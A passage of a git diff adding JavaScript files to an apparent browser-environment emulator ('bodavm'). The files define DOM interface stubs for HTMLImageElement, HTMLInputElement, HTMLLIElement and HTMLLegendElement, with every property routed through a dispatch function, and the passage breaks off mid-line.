+bodavm.toolsFunc.defineProperty('HTMLImageElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "lowsrc", {configurable:true, enumerable:true, get:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_get", arguments)}, set:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "x_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "y_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decode", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLInputElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLInputElement.js new file mode 100644 index 00000000..5ac20cd6 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLInputElement.js @@ -0,0 +1,62 @@ +// HTMLInputElement对象 +bodavm.memory.globalobj['HTMLInputElement'] = function HTMLInputElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLInputElement'], "HTMLInputElement"); +bodavm.memory.globalobj['HTMLInputElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLInputElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLInputElement', "accept", {configurable:true, enumerable:true, get:function accept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_get", arguments)}, set:function accept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultChecked", {configurable:true, enumerable:true, get:function defaultChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_get", arguments)}, set:function defaultChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "checked", {configurable:true, enumerable:true, get:function checked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_get", arguments)}, set:function checked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "dirName", {configurable:true, enumerable:true, get:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_get", arguments)}, set:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_get", arguments)}, set:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formAction", {configurable:true, enumerable:true, get:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_get", arguments)}, set:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formEnctype", {configurable:true, enumerable:true, get:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_get", arguments)}, set:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formMethod", {configurable:true, enumerable:true, get:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_get", arguments)}, set:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formNoValidate", {configurable:true, enumerable:true, get:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_get", arguments)}, set:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "formTarget", {configurable:true, enumerable:true, get:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_get", arguments)}, set:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "indeterminate", {configurable:true, enumerable:true, get:function indeterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_get", arguments)}, set:function indeterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "list", {configurable:true, enumerable:true, get:function list (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "list_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "maxLength", {configurable:true, enumerable:true, get:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_get", arguments)}, set:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "min", {configurable:true, enumerable:true, get:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_get", arguments)}, set:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "minLength", {configurable:true, enumerable:true, get:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_get", arguments)}, set:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "multiple", {configurable:true, enumerable:true, get:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_get", arguments)}, set:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "pattern", {configurable:true, enumerable:true, get:function pattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_get", arguments)}, set:function pattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "placeholder", {configurable:true, enumerable:true, get:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_get", arguments)}, set:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "readOnly", {configurable:true, enumerable:true, get:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_get", arguments)}, set:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "step", {configurable:true, enumerable:true, get:function step (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_get", arguments)}, set:function step (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsDate", {configurable:true, enumerable:true, get:function valueAsDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_get", arguments)}, set:function valueAsDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsNumber", {configurable:true, enumerable:true, get:function valueAsNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_get", arguments)}, set:function valueAsNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "willValidate_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validity_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "labels_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionStart", {configurable:true, enumerable:true, get:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_get", arguments)}, set:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionEnd", {configurable:true, enumerable:true, get:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_get", arguments)}, set:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionDirection", {configurable:true, enumerable:true, get:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_get", arguments)}, set:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitdirectory", {configurable:true, enumerable:true, get:function webkitdirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_get", arguments)}, set:function webkitdirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "incremental", {configurable:true, enumerable:true, get:function incremental (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_get", arguments)}, set:function incremental (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checkValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "reportValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "select", {configurable:true, enumerable:true, writable:true, value:function select (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "select", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setCustomValidity", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setRangeText", {configurable:true, enumerable:true, writable:true, value:function setRangeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setRangeText", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "setSelectionRange", {configurable:true, enumerable:true, writable:true, value:function setSelectionRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setSelectionRange", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepDown", {configurable:true, enumerable:true, writable:true, value:function stepDown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepDown", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepUp", {configurable:true, enumerable:true, writable:true, value:function stepUp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepUp", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitEntries", {configurable:true, enumerable:true, get:function webkitEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitEntries_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLInputElement', "showPicker", {configurable:true, enumerable:true, writable:true, value:function showPicker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "showPicker", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLIElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLIElement.js new file mode 100644 index 00000000..bc839fd7 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLIElement.js @@ -0,0 +1,7 @@ +// HTMLLIElement对象 +bodavm.memory.globalobj['HTMLLIElement'] = function HTMLLIElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLIElement'], "HTMLLIElement"); +bodavm.memory.globalobj['HTMLLIElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLIElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLIElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLIElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_set", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLegendElement.js b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLegendElement.js new file mode 100644 index 00000000..009063e5 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLegendElement.js @@ -0,0 +1,7 @@ +// HTMLLegendElement对象 +bodavm.memory.globalobj['HTMLLegendElement'] = function HTMLLegendElement(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLegendElement'], "HTMLLegendElement"); +bodavm.memory.globalobj['HTMLLegendElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLLegendElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLLegendElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "form_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('HTMLLegendElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, 